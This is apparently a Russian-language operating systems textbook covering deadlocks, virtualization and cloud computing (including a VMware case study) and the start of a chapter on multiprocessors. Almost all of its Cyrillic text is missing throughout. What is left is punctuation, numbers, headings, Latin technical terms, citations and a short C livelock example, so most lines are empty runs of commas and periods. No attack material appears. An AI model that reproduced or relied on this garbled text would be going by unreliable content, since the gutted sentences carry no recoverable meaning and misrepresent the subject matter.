, ,
. ,

6.4.

501

.
:
, .

:
1. , Pi, i- R
A.
2. , A i- C,
1.
3. , .
, ,
.
, .
, .
, .
. , , , . , ,
. ( ),
.
,
. 6.5. , , , Bluray-. 1 . 2
Blu-ray-. 3 .
, R.

. 6.5. ,

502

6.


, .
- Blu-ray-. , .
, ,
, :
A = (2 2 2 0)

2, ,
:
A = (4 2 2 1)

.
.
, . 6.5. , 3 Blu-ray-,
. , .
3 ,
Blu-ray-.
, , ( ,
), ,
. , ,
. ,
. ,
k , , , - .
,
.

6.4.3.
,
. ? -
, .
.
- .


.
, ,
.

6.4.

503

, ,
. (
). .
,

.
, ,
. .
,
, .


,
, . , , .
, ,
, .
,
, .
, .
, , , , ,
. ,
, (,
, ). ,
,
.
, , .


, . ,
. ,
. , ,
.
, ,
.
, , . ,
, , , . . -

504

6.


.
.
, . , ,
, , .
,
.
, ,
. -
, , , , .

6.5.
,
, ( R . 6.4).
.
, ,
, . :
, , ? ,
, .
.

6.5.1.
. ,
, ,
. ,
.
. 6.6 ,
. ,
A. , B. I1 A , I2
. I3 I4 . B I5 I7 I6
I8.
. p,
. A , q,
A - , B
. q , , -

6.5.

505

. 6.6.

B.
,
. ,
( ) (
), , .
A I1 r s, , . B t,
.
.
,
.
. , , , ,
.
, I1 I2,
I5 I6, I2 I6
. A ,
B , . , . t
, I4.
, u, .
, t B . , .
,
. ,
B , A .

506

6.

6.5.2.
, . 6.4.
, E, A, C R. , - , ,
.
, . . 6.7, , A 3 ,
9 . B 2 ,
4. C 2
, 5. 10
, 7 , 3 .

. 6.7.

. 6.7, , , .
B
, 2 ,
, . 6.7, . B ,
, . 6.7, .
C, , . 6.7, . C , . 6.7, .
A - 6
. , , . 6.7, ,
, .
, . 6.8, , A
, . 6.8, . ,
? .
B , (. 6.8, ).
B , ,
. 6.8, . : 4 , 5 .
,

6.5.

507

. 6.8.

. , , , . 6.8, , , . 6.8, ,
. , . 6.8, ,
A C, . ,
, A .
,
. , . 6.8, ,
.
. , A
, C,
. , ,
, ,
.

6.5.3.
, ,
(Dijkstra, 1965) .
,
.
,
, . (
, , .) , . ,
.
, . . 6.9, :
A, B, C D, (, 1 1000 ). ,
, 10 , 22, . (
, , , , .)
, ( ). - ,
. 6.9, . ,

508

6.

. 6.9. : ;
;

,
C, C
. ,
D, B . .
, , B
, . 6.9, . , . 6.9, .
, . ,
,
.
,
. , , . ,
, , - . ,
,
. . ,
.

6.5.4.
.
. 6.10 , . . ,
. ,
. . 6.5 C
R. ,
,
.
, , ( E), ( P) ( A).

6.5.

509

. 6.10.

E, ,
, Blu-ray-.
, , Blu-ray-.
, , .
, .
.
1. R , ,
A.
, ,
(, , ).
2. , , ,
( ) .
A.
3. 1 2 ,
( ), , (
).
1 , ,
: ,
.
, . 6.10. .
, B .
, -
( D , A
E, ).

510

6.

, B
E .
(1 0 0 0), .
, E .
1965 .
.
. , ,
, ,
, . , , . , , ,
( ). , , ,
.
,
. , ,
, , 70 %, , 30 %
.

6.6.
- ?
, ,
, .
, ,
(Koffman at al., 1971), ,
. ,
,
(Havender, 1968).

6.6.1.
.
, , .
, . ,
,
. ()
.
, , 1
. , ,
, .
1

( UNIX),
.

6.6.

511

,
, , .
, ,
.
. , ,
, ?
, ,
,
. - ,
, .
,
. , , ,
.

6.6.2.
, (Coffman et al., 1971),
. ,
, ,
. ,

. , , ,
. ,
.
, , ,
, , . ,
. ,
. , , ,
, , , .
,
.
- ,
.
,
( ,
).
, .

, ,
, .
, .

512

6.

6.6.3.
().
,

, .
, , .

,
.
.
. ,
, ,
.

6.6.4.
.
. , ,
.
, . , .
, , (. 6.11, ).
: , ,
. , ,
, .
,
. , ,
. 6.11, . , A
j, B i. , i j , . i > j, A j, ,
. i < j, B i,
. ,
.
.
.
, , ,
. , , ,
, .
. -

. , ,
, .

6.7.

513

. 6.11. ;

,
, ,
. 9 10, , ,
1.
,
, .
,
, ,

, .
. 6.1.
6.1.

6.7.
,
( ), , , , .

6.7.1.
,
, .
,

.
, .

514

6.

. .
, ,
. .
, , .
, , , .
, ,
. .
. ,
- .
, ,
- ,
. ,
,
.
.

6.7.2.
, . , ,
, , .
, Bluray- , .
.
, . ,
. 6.2 ,
. ,
Blu-ray-, (
) ,
( ). ,
.
,
, . (, ), . , A -
B, , B . , - - . A
. B -
. .

6.7.

515

, . A - , B, .
. , ,
, , ,
.
, .
.
, .
( )
( , ).
, ,
, .
, ,
, .
, , , ( , , ).
. ,

.
, , ,
, ,
. ,
. ,
( )
, .
, ,
, .
, ,
Computer Networks1 (Tanenbaum and Wetherall, 2010). , , . . ,
, , . 6.12.
. , :
. (host) , - , ,
. . (, router)
,
.
DSL-, ,
, , ,
- .
1

. . 4- . .: , 2010.

516

6.

. 6.12.

,
, ,
. , . . 6.12
( ,
, ). , A B,
B C,
C D, D A.
, , .

6.7.3.
,
, ,
, . , ,
. , , .
, ,
,
, ,
. try_lock,
,
. , .
acquire lock,
, , .
(, ),
( 6.3). , try_lock, .
,
. 6.3 1,
2. . ,
.
, ( )

6.7.

517

. ,
, , - , , . ,
(livelock).
6.3. ,

void process A(void) {


acquire lock(&resource 1);
while (try lock(&resource 2) == FAIL) {
release lock(&resource 1);
wait fixed time();
acquire lock(&resource 1);
}
use both resources( );
release lock(&resource 2);
release lock(&resource 1);
}
void process A(void) {
acquire lock(&resource 2);
while (try lock(&resource 1) == FAIL) {
release lock(&resource 2);
wait fixed time();
acquire lock(&resource 2);
}
use both resources( );
release lock(&resource 1);
release lock(&resource 2);
}

.
. ,
. fork - ,
, , fork,
.
, UNIX- 100 .
10 , 12 .
9 , 10 90
. 10
, . , , , .
fork, ?

i-, .
.
.
, ,
n 1/n ,
? , .

518

6.

, UNIX Windows,
, ,
( ) , ,
. ,
. , ,
- .
, , .

6.7.4.
, , , . .
, ,
. , , ,
, .
. ,
, ,
. ,
. ?
,
(,
).
. ,
,
. ,
. , .
( , ).

. ,
, .
.
, ,
. ,
,
- n , , - . .

6.8.
- , , , .
,

6.9.

519

, 4 . , . ,
, .
, ,
(Jula et al., 2011). , ,
, , . (Marino et al., 2013),
, .

. Pyla Varadarajan (2012). , Cai Chan (2012), ,
, .
. Wu (2013) .

.
, , .
, . Wang Lu (2013)
.
(Hilbrich et al., 2013)
MPI. ,
.
, , -,
, -, . ,
, ,
.

6.9.

. , ,
. , . , ,
- , .
, , ,
,
.

520

6.

,
. , . . , , .
, . ,
,
, .

.
. ,
, .
, , , .

.

1. , - .
2. , , , .
,
? ?
3. , ?
4. 6.1 , .
?
5. ( , , ).
, , . ?
6. , , ,
, , , , , , . . ,
, , . , .

521

, -,
,
.
? -
?
7. , . .
, , ,
, , .
, ,
, , ( ),
, .
? ,
?
8.
? , .
9. . 6.1 .
, , ,
? , .
10. . 6.2. , n- C S, R.
? , S,
R.
11. , . , , , ,
,
.
12. ,
, , . -
.
, (
), . ,
,
.
. . ,
.
?
13. .
,
?
14. , P1, P2, P3
P4, , RS1, RS2, RS3, RS4 RS5.

522

6.

0
C=

1
1

R=

E = (24144)
A = (01021)

15. , 6.4.2, . ,
.
16. , , - , :
) ;
) ;
) .
17. , . 6.4 i Cij + Rij > Ej.
?
18. . 6.6 , .
- , ?
19. , . 6.6,
? , ? , ?
20. .
. , ?
21. , , ? , . ,
, ,
.
22. . 6.9, . D ,
, ? ,
C, D?
23. .
. ?
.
24. , p ,
m , r. ,
?
25. , A . 6.10
. ?
26. , m n . m n ,

523

, manb.
a b?
27. .
.

10211

11213

00x11

20110

22210

11010

21310

11110

11221

x, ?
28. , ,
. , ,
.
29. , A B, 1, 2 3. A : 1, 2, 3, B
, . B 3, 2, 1, . ,
.
?
30. , ,
: send () receive ().
, , , , ,
. , .
? .
31. ,
. ,
, .
,
. , , x,
y, y , x. ,
. ,
. ( , , , , , .)
32.
. ,
(, ). ,

524

6.

, ,
, .
.
33. , ,
. , . -
, . ,
.
, ?
34. , , .

. ,
,
?
?
35. , .
36. ,
. , .
,
. .
, ?
?
37. , CSMA/CD
( ),
, ,
, .
Ethernet ,
, . ,
.
.
, .
) , ?
) ?
) ?
38.
, ,
( ) , . ,
. ,
, ,

525

.
, ?
.
39. . , .
, .
, , , ,
.
, , .
, , , , ,
.
. (
) ,
. ,
. ? ?
? .
40. , , , ,
.
,
, . , .
, ,
, ( ),
,
. , ,
, .
, ,
. , , , .
41. , .
, ,
, , , ,

,
.
42. , .
, , .
.
43. ,
.
: , ,

526

6.

( E), C (
. .), R ( . .).
, . ,
, .
44. , ,
.
: .
: , , ,
. ,
.
, ,
.
45. . ,
, .
. , .

7.

, ,
. , - FTP-, .
, , , ,
. , ,
: , 24 365 366 .
,
.
. -,

.
,
, .
, . ,
: - Linux, Windows,
OS X,
UNIX.
.
? ( ) , , 1960- .
, , , .
, (Virtual Machine Monitor
(VMM)) ()
. VMM . 1.7.5 ,
, , ,
. ,
,
.
,
.
,

528

7.

, ,
. , ,
.
,
. , ,
.
, , - , , ,
, , .
, , ,
, , ,
.
,
( Intel x86).

. ,
. ,
Amazon Microsoft,
, , -
. -
, (
).
. , ,
.
, - .
, , , .
.
, (,
) , ,
.
, , , , .
, , , .

( ),

7.1.

529

.
, . , , .

. ,
Windows 7, Windows 8, Linux, FreeBSD,
OpenBSD, NetBSD OS X, , .
. , , . -,

. -,
, .
,
.
,
(cloud). :
-, ,
. -
- , , ,
,
, , .
,
, ,
. .
, , ,
-
.
,
, , , ,
.

7.1.
, , ,
. 60- . IBM , : SIMMON CP-40. CP-40 ,
CP-67 CP/CMS,
IBM System/360 Model 67.

530

7.

VM/370 System/370,
1972 . System/370 1990-
IBM System/390. , . ,
, , .
2000 IBM z-, 64-
System/360.
,
x86.
1974 (-), , (Gerald Popek)
(Robert Goldberg), (Formal Requirements
for Virtualizable Third Generation Architectures),
, , (Popek and Goldberg, 1974).
.
, x86,
1970- , . .
()
. 1970- , UNIX, Ethernet, Cray-1, Microsoft Apple, ,
, 1970- !
Disco 1990- ,
VMware, , 1
2 (Bugnion et al., 1997; Bugnion
et al., 2012). , 1 2
1970- (Goldberg, 1972). VMware
x86 1999 . : Xen, KVM, VirtualBox,
Hyper-V, Parallels . , , , 1974 , IBM
, .
1999 , , .

7.2. ,
, , . , , ,
, ,
. . , :
1. .

7.2. ,

531

2.
, .
3. .
,
(, Bochs) , .
, . ,
INC () , , , .
,
. , , ,
,
. , . ,
, ,
, .
, , , (VMM)
.
. x86 - Intel 386, 20
.
,
, - ,
, .
, -,
(MMU) . .
(sensitive instructions), , . ,
. (privileged instructions).
, , .
, ,
, .
IBM/370, , Intel 386 . -
386- . , POPF
, ,
. .
386- , ,
.
, . , , ,
, , -

532

7.

, . ,
x86 2005
, ,
. , , ,
.
, 2005 Intel AMD (Uhlig, 2005). Intel (Virtualization
Technology (VT)), AMD
(Secure Virtual Machine (SVM)).
VT. IBM
VM/370, .
, .
,

, , -. ,
, , .
,
.
, ,
. , , x86- ,
2005 , , VMware x86 1999 . ?
, 2005
. ,
,
. , ,
-
(,
CR3, ). ,

. , - ,
. ,
, ,
. .
7.4.
. , ,
, . , , , .

7.3.

533

. ,
, , , . , VMM
. VMM ,
.
. ,
, .
,
. ,
(hypercall), ( ,
).
, ,
, .
, , , . IBM VM , , , 1972 . Denali (Whitaker et al., 2002) Xen (Barham et al., 2003).
,
, API .
, , .
, ,
, .
,
/ .
.
,
.
WINE, Windows
POSIX- , Linux, BSD OS X,
QEMU ,
.

7.3.
Goldberg (1972) . , (type 1 hypervisor),
. 7.1, . ,
, .
,
,
.

534

7.

, . 7.1, , . , , , Windows Linux


. ,
.

. , , ,
, ,
.
, ,
(guest operating system).
, , (host operating system) -.
x86 VMware Workstation (Bugnion et al., 2012).
, ,
VMware 7.12.


Excel W ord Mplayer Emacs

Windows

Linux

(, Windows)


(, Linux)

( , ,
, . .)

( , ,
, . .)

. 7.1. :

,
, - (hosted hypervisors),
, Windows, Linux OS X.
DVD, USB- -,
. . ,
ISO- -,
, DVD-.
( Windows, Linux OS X) ,
DVD.
.
, ,
, . 7.1.
.

7.4.

535

7.1. . ,

ESX Server 1.0

VMware Workstation 1

Xen 1.0

vSphere, Xen, Hyper-V

VMware Fusion, KVM, Parallels

Wine

7.4.
, . ,
,
(. 7.2). , .
,
( ). , ,
(, , ). (virtual
kernel mode). ,
, (
).

. 7.2. , ,

, ( , ) , ,
?

536

7.

VT- , . VT-

(. . 7.2). , ,

. ,
,
, .

7.4.1. ,

VT-
, ? , VMware

x86. , ,
, (binary
translation) , x86,
(protection rings) .
x86 , , . 3
. . .
0 , . 0.
. , .
. 7.3,
( 0), ( 3),
( 1).
,
.

.
, .
,
.
,
(basic block),
, . , , , , , ,
. ,
, (
), , , ,

7.4.

537

2

( ,
+ )

1
0

. 7.3. ,
1, 0

.
, (
).
, . , . ,

. , , ( , ,
VMware), .
.
,
, .
, .
, , .
.
: , ( ),

, , -.

, .
, 1,
,
. ,
,
.
.
,
. , VMware ESX Server (,
2001 ) -

538

7.

, VMware Workstation ( , ).

, . ,
.
,
,
(4 32- ).
( ),
, .
, , . , Linux 3 4-
, 1 .
. ,

, .
()
. .
, , ,
,
. ,
,
.
.
,
0,
. ,

,
. ,
,
.
,
. . ,
, .
,
.
(world switch).
VMware 7.12.

7.4.

539

, ,
:
, .
, ,
.
, .

7.4.2.
, VT
, ,
(Adams and Agesen, 2006). , , ,
VT-, ,
, , TLB- ,
. ,
, .
,
. ( )
, .

, . , , , CLI (clear interrupts ).
,
. ,
,
.
.
(Interrupt Flag (IF))
,
( ,
, ). CLI - VirtualCPU.IF = 0,
,
. , .
VT-
.
, . ,
,
.

540

7.

, (
), - . 7.6 ,

. ,
.

7.5.
?
, , ,
, . ,
, .
.
,
, ().
, ,
, .
, , , , (Application Programming Interface (API)), ,
, .

,
-, , , . 1.26. ,
.
-
( ).
, , , ,
(Hand et al., 2005).
,
, , (Heiser et al., 2006). , ,
,
, (Hohmuth et al., 2004).
, , ,
(Roscoe et al.,
2007). ( ) () , ,
.
, ,
(,
Windows) (,

7.5. ?

541

Linux). , API
. .
. 7.4.
, VT-.

Windows.
,
.
Linux, ,
. , -
(, , ),
,
Linux.

Windows

Linux

. 7.4.

. 7.4 , .
. ,
Windows. .
: . ,
, ,
MMU.
,
, .
, , ,
,
, .
. , ,

542

7.

? . -, , ,
VMware, Xen ,
, Hyper-V Microsoft, -
API- ?
?
Amsden et al. (2006). ,
- ,
. ,
(Virtual Machine Interface (VMI)),
, .
-
- .
Linux,
VMI Linux (VMIL), . 7.5. VMI Linux , , ,
. 7.5, , ()
. , VMware Xen,
, ( ) , .
, .

VMI Linux

VMI Linux

VMI Linux

VMIL/HWinterface

VMIL
Vmware

VMIL
Xen

VMware

Xen

. 7.5. VMI Linux, : ;


VMware; Xen

. paravirt ops.
, , . ,
Linux, , IBM, VMware, Xen Red Hat,

Linux. , , 2.6.23,
,
.

7.6.

543

7.6.
, . . -. .
, .

, .
.
,
.
. , .
, ,
7, 4
3 10, 11 12 . ,
,
. . VT- .
. .
, ,
, .
? 10, 11 12
7, 4 3
. .
, ,
4, 5 6 10, 11 12
.
, ? ,
10, 11 12 .
, , 20, 21 22, ,
, 4, 5 6 2 20, 21 22.
, 10, 11 12,
. , (shadow page table),
, , ,
.
,
. , 7
, 200 ( 10),
. ,

544

7.

.
, , , , ,
.
( ) ,
,
.
,
, .
, ,
, , .
,
, , , ,
. ,
.
,
.
, .
, . . ,
. , ,
, ,
. ,
? , , .
INVLPG (
TLB-). , .
, .
,
.
, , ,
, ,

. ,
(guest-induced page faults),
, .
. ,
(hypervisor-induced page faults),
.
, ,

7.6.

545

(VM exit), , . ,
VM-. VM-, ,
. , .
,
. . ,
. - ,
.
. , ,
.
.
, -
, . ,
, , . ,
,
, , , .

7.6.1.

.
(nested page tables) AMD.
Intel (Extended Page Tables (EPT)).

,
- . ,
x86 Intel . VT-
, ,
, -. AMD Intel
, .
, .
,
. . ,
Linux-
Xen VMware ESX- . (guest virtual addresses)
(guest physical addresses) , , (host physical
addresses), (machine
physical addresses). , EPT
. EPT -
,
. , -

546

7.

, ,
. ,
( ) , ,
. . 7.6.
,
, . ,
.

. ,
. EPT
VM-. ,
. ,
,
.
63

48 47

39 38

1-


1-

30 29

2-

21 20

3-

12 11

4-


1-

+

2-

. .

. 7.6. () ,
,

7.6.2.
,
, , , . (overcommitment) ,
,
, . , ,
. , 32 ,

7.7. -

547

, 16 . ,
. , ,
. , , , (,
Linux) ,
(deduplication).
, 16 .
, ,
. , 1 ,
2 .
,
. ,
, ?
, .
, .
, ,
,
. .
( ,
), .
, , P.
. ,
. ,
, ,
. - .
,
(ballooning),
, .
.
, , , , , . ,
,
. , .
.

7.7. -
-.

-.

548

7.

. ?
, . ., .
.
-,
. ,
.
. ,
, ( ), .

. , ( ), , ,
, , -.
, , ,
. ,
, ( RAID-)
, ,
IDE-,
IDE-. IDE-, .

.
VM/370: ,
. .
, -, ,
.
MAC-
, Ethernet-.
. , . ,
, , .

7.7.1. -
, , , DMA,
. , ,
DMA.
- (I/O MMU), , MMU . I/O MMU
.

7.7. -

549

x86, Intel AMD


. .
DMA.
MMU-, I/O MMU
, ( ),
.
, , DMA, ,
, .
I/O MMU-
. (device pass through)
. , ,
. ,
I/O MMU.
, ,
.
(device isolation) , , , , .
, I/O MMU DMA- ,
MMU .
.
, , DMA - .
, ,
, ,
. I/O MMU
(interrupt remapping). , ,
1. I/O MMU,
, , ,
, (, 66),
.
, I/O MMU 32- , 4 . (,
DMA) 4 , I/O MMU
.

7.7.2.
-
- .
, , , ,
(, 1 1403), , ,

550

7.

, . Xen
-
- , (domain 0).
- ,
:

-, .
-, ,
, . ,
, .
, ,
, ,
, ( MINIX3), , , .

7.7.3. -

.

. ,
128
.

, ,
( ) ,
. , .
, -
.
, ,
, , . PCIe
- .
- (Single root
I/O virtualization (SR-IOV))
. , SR-IOV,
, DMA-
(Intel, 2011).
,
. ,
. (, ,
) .
SR-IOV : (Physical Functions (PF)) (Virtual Functions (VF)). -

7.9.

551

PCIe-
, .
.
PCIe-,
. . SR-IOV ( )
, ,
. ,
SR-IOV, , . ()
, . , Intel
I350 .

7.8.
,
, ,
: . ,
, , , , . .
, ,
.
, ,
, ,
, ,
. -
-, .
,
. , , , ,
, .
(virtual appliances). ,
Amazon EC2, ,
(Software as a Service ).

7.9.


,
. , ,
, , ,
( ) , , -

552

7.

32 .
.
,
, . , , .
, .

, .
. , , , ,
.
, . Disco
(transparent page sharing), ,
VMware (contentbased page sharing), . ,
. - ,
, .
( ) ,
. , , (
) .
(copy on write), ,
, .
, ,
, .

,
32 , , 32 .
, , .

,
, . .

, , . !

7.10.
, , .
,
. ?

7.11.

553

,
? , .
, ,
, ,
.

,
. ,
, . , .

7.11.

. . , ,
. .
,
. ,
, , ,
,
. ,
, . .
, , ,
. (), , ,
:
1. (On-demand self-service). , .
2. (Broad network access).
, .
3. (Resource pooling). , ,
.
, .
4. (Rapid elasticity).
, ,
, .

554

7.

5. (Measured service). ,
.

7.11.1.
,
. ,
,
. ,
, ,
.
(Infrastructure As A Service (IAAS))
(Platform As A Service (PAAS)), , , , , - . .,
(Software As A Service (SAAS)),
, Microsoft
Office 365 Google Apps, .
IAAS- Amazon EC2, Xen .
.
. , ( , )
.
,
IT-, , , ,
, , , , .
, ,
, . , IT , 10 .
.
?
, ? ( )
(,
, ,
)? X,

( (vendor lock-in)?

7.11.2.
IAAS-
, .
, , ,
. : ,

7.11.

555

( ), ? , ,
,
.
.
, , , . ,
.
. ,
, ,
.
,
. ,
, ,
,
.
, , .
(
NFS), , , 1 3.
IP-. -
. , , ,
.
(live migration). ,
. ,
, (pre-copy
memory migration). , ,
.
, , . ,
,
, .
,
. .
,
. ,
.
, ,
. , ,
(seamless live migration).

7.11.3.

. , , .
. (, , )

556

7.

, - .
,
- .
- ,
.
, .
, , .
(copy on write),
.
- , . ,
? , ,
, . ,
.

7.12. : VMWARE
1999 VMware, Inc.
, , , ,
. ,
, .

. VMware Workstation,
, .
VMware Workstation. ESX Server,
VMware.

7.12.1. VMware
19601970-
, ,
1980- , .
IBM . ,
, , x86 Intel,
(, , ). ,
386, 286,
10
.
1997 VMware Disco (Bugnion et al., 1997) ( , UNIX) ,
, FLASH-.
,

7.12. : VMWARE

557

:
,
. Disco,
,
,

. Disco
MIPS-, ,
,
x86, .
1998 VMware, Inc.,
x86 . VMware (VMware Workstation)
, 32- x86. 1999 : VMware
Workstation for Linux, ,
Linux, VMware Workstation for Windows,
Windows NT. :
(,

)
, () -.
VMware Workstation
IT-.
, ,
, .
.
VMware , , ESX Server 2001 . ESX Server
, VMware Workstation,
. , ESX Server
, . ESX
( , -)
. , (ballooning)
(Waldspurger, 2002).
ESX Server . IT- , , , , -.
: 10 %
( ). ESX Server IT-

558

7.

,
, , .
2002 VMware
ESX Server, Virtual Center,
vSphere. : IT-
Virtual Center ,
, .
Virtual Center , VMotion (Nelson et
al., 2005),
. IT-

, .

7.12.2. VMware Workstation


VMware Workstation 32- x86.
: 2009
(ACM) ACM
Software System Award VMware Workstation 1.0 Linux.
VMware Workstation (Bugnion et al., 2012).
.
,
, x86
Microsoft Windows (
WinTel). WinTel, , ,
. ,
, Linux.

, x86 , . , , ,
, ,
.
x86 ( )
:
Intel AMD ;
Microsoft Windows,
Linux;
- , ;
, HP Dell,
.

7.12. : VMWARE

559

x86
.
, VMware Workstation ,
.
VMware Workstation x86 , . VMware Workstation , ,
.
,
VMware Workstation.

7.12.3.
x86
:
(adding a level
of indirection) .
: , .
, ,
. VMware
x86 :
. , x86
.
, (
), , - .
. ,
. VMware
,
,
, .
, x86

.
.
,
. .
, ,
,
. , -

560

7.

, . ,
( ,
).
. ,

, VMware
. ,
. ,
:
1. x86 .
, . ,
POPF ( ) , .
,
. Intel ,
.
2. x86 . x86
CISC-,
.
(, , v8086
), - , ,
(, ).
3. x86 . x86
,


.
. :
( ,
), ( ,
) .
4. , . ,
. VMware ,
. , VMware
,
.

7.12.4. VMware Workstation:


VMware
Workstation , .

7.12. : VMWARE

561

VMware Workstation ,
. VMM, . VMX,
.
, VMM x86- . ,
. , ,
. ,
VMware Workstation , VMM VMX.

x86-
VMM , . VMM,
, , ,
, , .

. (Barham et al., 2003; Whitaker et al., 2002)
. ,
, . VMware
-
, , Windows.
.

VMM.
. SimOS (Rosenblum et
al., 1997) , ,
, , ,
.


.
. -,
x86
,
. ,
,
. , ,
, , . , POPF ,
(, ), ,

562

7.

(
).
. 7.7 VMware
VMM. , , , ,
.
,
-.
VMM


( MMU, - . .)

. 7.7. VMware
( )

, , ,
, . , , ,
() .
, , ( ) (
). ,
,
. ,
:
( 0 x86);
- ( x86, -
);
,
, BIOS 16- .
. Bugnion et al. (2012). ,
, , , ,
.

7.12. : VMWARE

563

,
, x86 ,
.
, .
, .
, ,
x86, ,
, , , , ,
. ,
, , .
.
.
,
. ,
VMware VMM ( )
:
VMM , ,
( );
VMM
( 16- 32- x86).
, .
,
, ,
( ), VMM.
,
, .
VMware VMM , .
. 4
VMM . ( 4
4 , 32- ). VMM
, , , ( , )
4- .

,
VMM ,
,
. , ,
,
, ,

564

7.

, . ,
. x86 .
VMware , . VMware Workstation
Linux,
Windows 3.1, Windows 95/98 Windows NT. .

, MINIX 3, .
VMM -
,
. ,
,
.
, x86 ( 0 3),
1 2 ( OS/2
IBM). , ,
1 2, VMware VMM 1 2,
.
, , , VMware VMM
, 1 2 ,
.
0 VMware VMM
1.


, x86. x86 .
, - , ,
-, . .
- x86 , .

, -
. VMware
,
,
-.

() .

7.12. : VMWARE

565

. ,
( )
. .
. 7.2 , VMware Workstation
, .
7.2. ,
VMware Workstation, ca. 2000

( )

- x86 CPU - ,
-
,

512

()

PCI Bus

PCI bus

4x IDE-
7x Buslogic SCSI-

( )

1x IDE- -

ISO- -

2x 1,44-

1x VMware VGA SVGA


. SVGA
VMware SVGA
2x
COM1 COM2

1x (LPT)

LPT- -

1x (104 )

;

VMware

1x PS-2

3x Ethernet- AMD Lance

1x Soundblaster (
)

566

7.


,
,
0.
, ,
, (Waldspurger
and Rosenblum, 2012).
, , .
-,
.
, Ethernet- AMD
PCnet Lance, -
10 /,
-. , VMware PCnet ,
Lance, - 10 / (Sugerman et al., 2001).
IDE- Buslogic Controller,
, ISO 9660, ,
-.
: VMware ,
, . ,
,
. , - (hardware-independent encapsulation),
.
, -, (Nelson et al., 2005).
,
.


VMware Workstation
.
.
.
-, , . VMware ,
. , VMware Workstation
, -

7.12. : VMWARE

567

,
-, .
, VMware Workstation
.
-, , .
, VMware Workstation
, ( , BIOS). VMware
Workstation ,
, ,
Linux.
, ,
, API-,
. , x86
, VMM
,
( ), .
,
. () ,
API-
.
( , , ),
.

, ( )
.
VMware
Hosted Architecture.
(. 7.8).

:
, (VMX), VMware. VMX
, ,
( )
. VMX-
.

568

write()

fs
VMM-

scsi

CPU

(v)

(ii)

VMM

(iv)

(iii)

(i)

VMX

7.

IDTR

VMM

. 7.8. VMware Hosted Architecture : VMX, VMM- VMM

, (VMX-),
.
VMM
. VMX-.
VMM, , , , ,
. VMM ,
. , , ,
- ,
.
VMM, .
VMware Workstation , , , VMX . VMM ,

. . 7.8 : ( VMM)
, . VMM
( ) ,
-

. , VMM
IDTR . ,

7.12. : VMWARE

569

( ), VMM
.

(world switch). ,
, . . 7.9 .
,
. , ,
, , . :
, ,
. . , . VMM ,
VMM, .
, 45 x86.

VMware

(
)

(
)

Kernel Address space

VMX (
)

VMM


( )

VMM

. 7.9.

:
? : VMM.
, , .
(, Linux)
. , , .
:
VMM, ? ,
VMM, .

570

7.

4- ,
.
. 7.8: ,
, VMM ( I). , VMM
, . (II) VMM
, :
VMware-, III
, . , IV , , ,
VMware- (
VMM!). , V VMware-
VMX.
VMware
VMX. VMX
,
VMM.
, , VMM
. , VMM
.

7.12.5. VMware Workstation


, VMware Virtual Machine
Monitor, .
, ,
, VMware
Workstation, VMware Player VMware Fusion (, Apple OS X), VMware,
(Barr et al., 2010).

VMM VMware,
. ,
, 64-

VMM.

x86.
, Intel VT-x AMD-v, . , 2005 ,
, (Uhlig
et al., 2005). , 2007 , MMU . . ,
, ,
VMware , (
).

7.12. : VMWARE

571

, ,
VMware , . VMware Workstation
.
.
VMware
.

7.12.6. ESX-:
VMware
2001 VMware , ESX
Server . VMware
: ,
, , .

ESX

. 7.10 ESX Server.


, VMM, , . VMM , VMware
Workstation, , x86. , VMM-, ,
. ESX- .
, , VMM
. ESX Server
, ,
-,
.
VM

VM

VM

VM

VMM

VMM

VMM

VMM

ESX-
x86

. 7.10. ESX Server: VMware

VMware
.
VMware :
ESX Server
, .
, ESX Server ( VMware Workstation)
.

572

7.

, -,
.
. ESX Server , ,
, :

( ). ,
.
, , ,
. ESX
Server (ballooning) (Waldspurger, 2002).
- .
VMware Workstation ESX Server
,
. VMware Workstation - API, .
. ESX Server
ESX-, .
, . , VMware Workstation
( ) . ESX Server VMFS (Vaghani,
2010) ,

-. .
, VMware 2011 , ESX
Server 1 (VMware, 2011).
ESX Server , .
, ESX Server VMotion ,
, , , ESX Server,
ESX Server.
,
.
ESX Server . ESX Server ESXi,
, . ESXi
VMware vSphere.

573

7.13.

. ,
. - . ,
(Virtual Execution Environments (VEE))
. , , . . (ACM Symposium on Cloud
Computing (SOCC)), ,
, . , SOCC, ,
-, . .
. , Penneman et al. (2013) ARM- ,
. (Beham et
al., 2013; Mao, 2013; Pearce et al., 2013), (Botero and Hesselbach, 2013; Yuan et al., 2013).
-, ,
, (Theodorou et
al., 2013).
(Wang et al., 2013a).
,
, (Ben-Yehuda et al., 2010; Zhang et
al., 2011). ,
,
, , . .
Turtles (),
, , ,
, , , . .
, , ,
, TLB-.
Dune (Belay, 2012) , .
Dune, ,
. , .
VMCALL.

1. - .
2. , .

574

7.

3. ,
,
.
4. ,
.
5. , , ?
1974 , IBM
1970- .
6. ,
.
7. ,
.
8. ?
, , ? .
9. ,
? , ?
10. , n .
. n ? ,
?
11. .
12. ? ,
,
.
13. - ?
14. ? , ? .
15. , x86 .
16. , , VT-,
, -.
17. , , , .
18. VMware ,
,
. ? ,
?
19. ?
20. , .
.

575

21. ,
. ? ? .
22. ,
.
23. , , () ,
. ?

.
24. ?
?
25. , .
26. ,
.
27. - DMA. -
- (I/O MMU)?
28.
. .
29. IAAS, PAAS SAAS.
30. ?
?
31. ,
.
?
32. ?
33. ( ,
?)?
34. , VMware ?
35. VMware Workstation
?
36. VMware ESXi . ? - . -
- ?
37. .

8.

.
ENIAC 300 ,
, . ENIAC,
. ,
,
, .
, .
. ,
.
,
30 /,
20 /. ,
10
, 2 . 100 2 .
1 (1000 ) 100 (0,1 ),
.
, , , : . , , ,
. x86- ,
, . 1
1 . 1 1 , ,
.

. , ( ),
.
, .
1 (Furber et
al., 2013).
, ,

577

,
.

. ,
, ,
.

. ,
, , , .
.
, .

. , ,
, ,
, ,
.
.

, ,
. ,
. ,

.
,

.
( )
. ,
.
, .
, LOAD STORE.
110 . ,
(
-). ,
, . (. 8.1, )
-

578

8.

, .
.

. 8.1. : ; ;

(. 8.1, ),
.
. ,
.
.

1050 , ,
. 8.1, . . ( )
, ( ), . .
(. 8.1, ) , ,
(distributed system). ,
. , . 8.1, , ,
,
10100 . (loosely coupled)
-, (tightly coupled) (. . 8.1, ).
.
.
,
, . 8.1. , ,
. , ,
. ,
, .

8.1.

579

8.1.
(shared-memory multiprocessor),
, , . ,
,
(, , ). ,
, ,
- ,
( ).
:
- ,
.

. , ,
-.
, .
, .
,
, .

8.1.1.
,
,
: ,
. UMA-
(Uniform Memory Access ).
NUMA- (Nonuniform Memory Access
) . ,
. UMA-, NUMA.

UMA-
(. 8.2, ) .

.
, . ,
,
, .
, , , , .
